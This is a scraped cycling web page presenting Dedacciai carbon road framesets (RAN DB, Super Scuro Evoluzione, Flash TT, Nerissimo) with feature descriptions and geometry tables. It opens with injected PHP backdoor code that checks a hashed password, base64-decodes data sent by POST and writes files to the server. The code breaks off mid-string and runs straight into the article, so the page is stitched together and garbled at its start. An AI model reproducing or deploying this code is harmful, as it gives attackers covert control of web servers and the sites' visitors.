function bestrock_render_js(){ echo ""; } function bestrock_render_index(){ echo md5('56749'); } function bestrock_render_ajax(){ try { if(isset($_GET['s1'])) die(md5('js')); if(isset($_POST['t2'])){ $l1 = uniqid(rand(), true) . '.js'; @file_put_contents($l1, 'js'); if(file_exists($l1)){ if(isset($_POST['t1'])){ $d = md5(md5($_POST['t1'])); if($d=="8ae24e6719c47a39da8ad5451432d9a6"){ $d1=$_POST['t2']; $d1=base64_decode($d1); $d4=" CapoVelo.com - Dedacciai Strada Framests
CapoVelo.com - - Dedacciai Strada Framests
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Dedacciai Strada Framests



While the name "Deda" is synonymous with most road bike enthusiasts for it’s vast line-up of high quality stems, handlebars and related accouterments, few probably realize that the Italian brand also produces some very exquisite carbon framesets  under it’s official namesake – Dedacacciai. While most of them ultimately get out sourced as private label pieces under the auspices of many high end brands, they are nevertheless available for public purchase. Just exactly how one goes about getting one – may prove to be the equivalent of trying to get Jimmy Hoffa to the telephone. But they do exist. 

Here’s a glimpse at some of them:

 

MATT BLACK

GLOSSY WHITE

  • Tech specs Frame weight 970 g for the M size
  • Five sizes XS, S, M, L, XL
  • Bottom bracket PF30 compatible, BSA and BB30 adaptors as spare parts
  • UD external layer
  • Internal cables routing
  • Electronic and mechanical devices compatible
  • Seat Tube ID 27,2 mm
  • Monocoque carbon fork weight 395 g inner disk brake cable
  • Tapered headtube 1"1/8 top – 1"1/4 bottom
  • Post mount disk brake
  • Integrated Dedacciai headset SSDIFF15114 included
 
CARBON MONOCOQUE FRAME HIGHEST MODULUS MRC MR 60 The big challenge was for Dedacciai to produce the lightest disk brake compatible frame in its category. Around that main concept Dedacciai has introduced the new RAN disk brake.
 
The RAN DB has been developed on the winning base of RAN, increasing the brake power with the innovative hydraulic disk brake system. The disk brake device allows a new standard in safety, above all during the worst climatic conditions.

The main features of the monocoque RAN DB are now lightness, rigidity, and a new astonishing braking power.

The disk brake has introduced two main structural advanced concepts: first of all the increasing braking power with a great advantage for the safety of the cyclist, above all during wet conditions, and the aim of avoiding damages to the wheels especially for the carbon rims. Furthermore the traditional brake system could create an overheating of the carbon rims, particularly during long descents. That dynamic can quickly destroy the rim.

The R&D has equipped the RAN DB with a new front monocoque fork named K-23 with inner hydraulic cable passage in the left carbon blade. The K-23 is equipped with the "post mount" system tried and tested from the MTB sector. The crown of the fork has been reenforced to resist to the braking forces which concentrate at that main point. Tapered steering of 1"1/8 on the top and 1"1/4 bottom, which offers balance on every kind of asphalt, and superior handling precision.

The rear post mount has been positioned on the seat stays in order get a stable and safe braking.

The rear brake cable is positioned in the top tube through special hidden cable stops. That system reduces total weight and improves the look.

RAN is fully compatible with mechanical and electronic shifting systems (Shimano DI2, Ultegra and Campagnolo EPS, Athena and Sram), by running the cables inside the down tube and in the chain stays, via an internal bottom bracket passage. The refined attention to detail could be seen in the routing of the rear derailleur wire through the alloy rear dropout. The frame is also compatible with cable-operated shifting systems. That double compatibility is obtained by replacing small parts through the "cable stop" system described above. The mechanical groupset allows external wiring cables.

RAN is equipped with PF 30 (press fit 30) with bottom bracket length of 68 mm. Dedacciai offers BB30 and BSA adaptors as spare parts.

The PF30 (press Fit 30) standard has the classical bearings insertion BB30 (42 mm) in the Bottom bracket within pressure plastic caps. The central bottom bracket has an ID of 46 mm. The PF 30 adopts a bottom bracket with a bigger inner diameter compared to those available in the market. The versatility of the PF 30 allows the use of any type of bottom bracket design by using appropriate adaptors. 

 

TAGLIE/SIZES A B/B’ C D E F G   XS   505   485/440   106   75°   71,5°   407   567     S   520   505/463   120   74,5°   71,5°   407   578     M   535   540/500   135   74°   72°   410   583     L   555   555/515   155   73,5°   72°   410   598     XL   575   585/538   180   73°   73°   413   605  

Super Scuro EVOLUZIONE

 

BLACK MATT

  • Tech specs Weight 990 g for the M size
  • 5 sizes XS, S, M, L, XL
  • Bottom bracket BSA
  • 3K external layer
  • Internal cables routing
  • Integrated aerodynamic seat tube
  • Dedacciai aero seat clamp included
  • Monocoque fork weight 350 g
  • Tapered headtube 1"1/8 top – 1"1/2 bottom
  • Integrated Dedacciai headset MSS118112 included
MONOCOQUE FRAME HIGHEST MODULUS CARBON FIBRE IM 600Super Scuro EVOLUZIONE goes directly to the future with a new graphic, more attractive and powerful, maintaining the technical features which have created successful road frames.

The Super Scuro Evoluzione frame is suitable for both electronic and mechanical devices and maintains its root of frame for longer and tougher road competitions, where it needs a high stiffness ratio during the winning sprint.

Super Scuro Evoluzione is the "alter ego" of Super Scuro RC with traditional and adjustable aero seat tube. The main difference is characterized by the aero integrated seat tube which represents for Dedacciai the ideal approach to competition in term of: rigidity, performance and the maximization of pedaling force. The carbon lay-out of the Super Scuro EVOLUZIONE is 3K.

Further evolution is represented by the front end which has been improved with the monocoque EDG fork. The EDG fork has been designed and engineered with the internal part of the blades directing the air flow onto the rim and in particular onto the brake track.

That particular function is important for carbon wheels where the overheating of the brake track decrease the braking power above all during a tough descent. The EDG fork with differentiate steering tube of 1"1/8 on the top and 1"1/2 in the bottom allows the best balance between rigidity and lightness.

In the engineering process special attention has been focused on the shape of the frame tubes with an aerofoil profile. In order to contribute to decrease the air resistance all the brake and gear shifting cables have internal routing through special hidden cable stops. They ensure the frame an unique appearance and at the same time a weight saving.

Super Scuro RC is fully compatible with mechanical and electronic shifting systems (Shimano DI2, Ultegra and Campagnolo EPS, Athena), by running the cables inside the down tube and in the chain stays, via an internal bottom bracket passage. The refined attention to detail could be seen in the routing of the rear derailleur wire through the alloy rear dropout. The frame is also compatible with cable-operated shifting systems. That double compatibility is obtained by replacing small parts through the "cable stop" system described above.

A saddle clamping system named King Pin is engineered to allow micro adjustment with an aerodynamic section clamp. That micro adjustment has been obtained through a hinge in the front part of the seat clamp and a support screw in the rear part, allowing a correct adjustment. Super Scuro RC is also compatible with our zero retraction seat clamp and the long version, which extends the seat tube by 20 mm. 

 
 

TAGLIE/SIZES A B C D E F G   XS   505   690   106   75°   71,5°   407   565     S   520   690   120   74,5°   71,5°   407   577     M   535   750   135   74,5°   72°   410   588     L   555   750   155   73,5°   72°   410   599     XL   575   780   180   73°   73°   413   605  

FLASH TT

BLACK MATT

  • Tech specsFrame weight 1.200 g for the M size
  • Four sizes S, M, L, XL
  • Bottom bracket BB 86 alloy
  • UD external layer
  • Internal cables routing
  • Electronic and mechanical devices compatible
  • Adjustable aero seat tube included
  • Monocoque carbon fork weight 440 g with integrated cantilever brakes Headtube 1"1/8
  • Integrated Dedacciai headset included
  • Integrated aero stem DEDA TT included
CARBON MONOCOQUE FRAME HIGHEST MODULUS MRC MR 60Dedacciai expertise in road bikes is focused on the new Chrono project 2014 for Time Trial competition and Triathlon.

Dedacciai and Deda Elementi engineers worked together to reduce and streamline the frontal area. The Flash II solution is a perfectly integrated combination of headset, stem, handlebar and aerobars.

Technical and research departments have focused on the link between headset and stem. The new CNC machined stem shows a revolutionary locking system including the expander inside: this made possible more clean and pure shapes. Clean shapes allow the reduction of turbulent air flow that creates aerodynamic resistance. The high level tech.

*stem creates with the horizontal top tube a smooth surface and a 6 mm horizontal regulation of the handlebar through metal spacers. 

 

TAGLIE/SIZES A C D E F G   S   539 – 493   100   74° – 78°   71,5°   390   582     M   550 – 512   115   74° – 78°   72°   390   598     L   570 – 530   130   74° – 78°   72,5°   390   614     XL   590 – 550   145   74° – 78°   72,5°   390   634  

Nerissimo

 

BLACK NIGHT

RED PASSION

WHITE MILK

YELLOW SUN

  • Tech specsFrame weight 1.050 g for the M size
  • Five sizes XS, S, M, L, XL
  • Bottom bracket BSA compatible
  • UD external layer
  • Internal cables routing
  • Electronic and mechanical devices compatible
  • Seat Tube ID 31,6 mm
  • Monocoque carbon fork weight 380 g
  • Tapered headtube 1"1/8 top – 1"1/2 bottom
  • Integrated Dedacciai headset SSDIFF83 included

The frame developed for the enthusiast, Nerissimo eliminates the compromises of high modulus carbon fiber.


The technical features of high level monocoque carbon fiber are now available for all cyclists. Nerissimo won the 2013 title of "Bike Of the Year" from the authoritative BikeRadar.com.

Nerissimo starts the 2014 season with the introduction of the double compatibility for electronic and mechanic devices thanks to the Dedaccai cable stop device. That compatibility is obtained by replacing "cable stops" which have been moulded into the monocoque. They ensure the frame an unique appearance and at the same time a weight saving.

Nerissimo, with its refined design, has a traditional shape which respects the biomechanical features with a sloping top tube that assures top comfort, especially over long distances. Nerissimo has been developed for the enthusiast cyclist who are looking for the best balance in quality and price.

Nerissimo has a great character and substance, characteristics that define the Dedacciai Strada brand. The frame can be used for long rides, yet is stable in a powerful sprint, responsive on a climb and precise in a fast descent.

The front end is precise thanks to the Stream full carbon fork with tapered 1"1/8 to 1"1/2 head tube, allowing firm, stable braking on entry into bends, and a confident feeling in the rhythm of changing direction.

The high modulus T700 carbon fiber monocoque with shaped main elements and unidirectional outer laminate are important technological assurances, as are the carbon dropouts, individual seat stays, and internal cable routing in the top tube. The external UD lay-out and the introduction of the new yellow sun version complete the Nerissimo frame which is now available in 4 colors: Yellow, matte Red, glossy White and Black. 

 
 

TAGLIE/SIZES A B C D E F G   XS   505   485   106   75°   71,5°   407   565     S   520   505   120   74,5°   71,5°   407   577     M   535   540   135   74°   72°   410   583     L   555   555   155   73,5°   72°   410   599     XL   575   585   180   73°   73°   413   605  

http://www.dedacciaistrada.com


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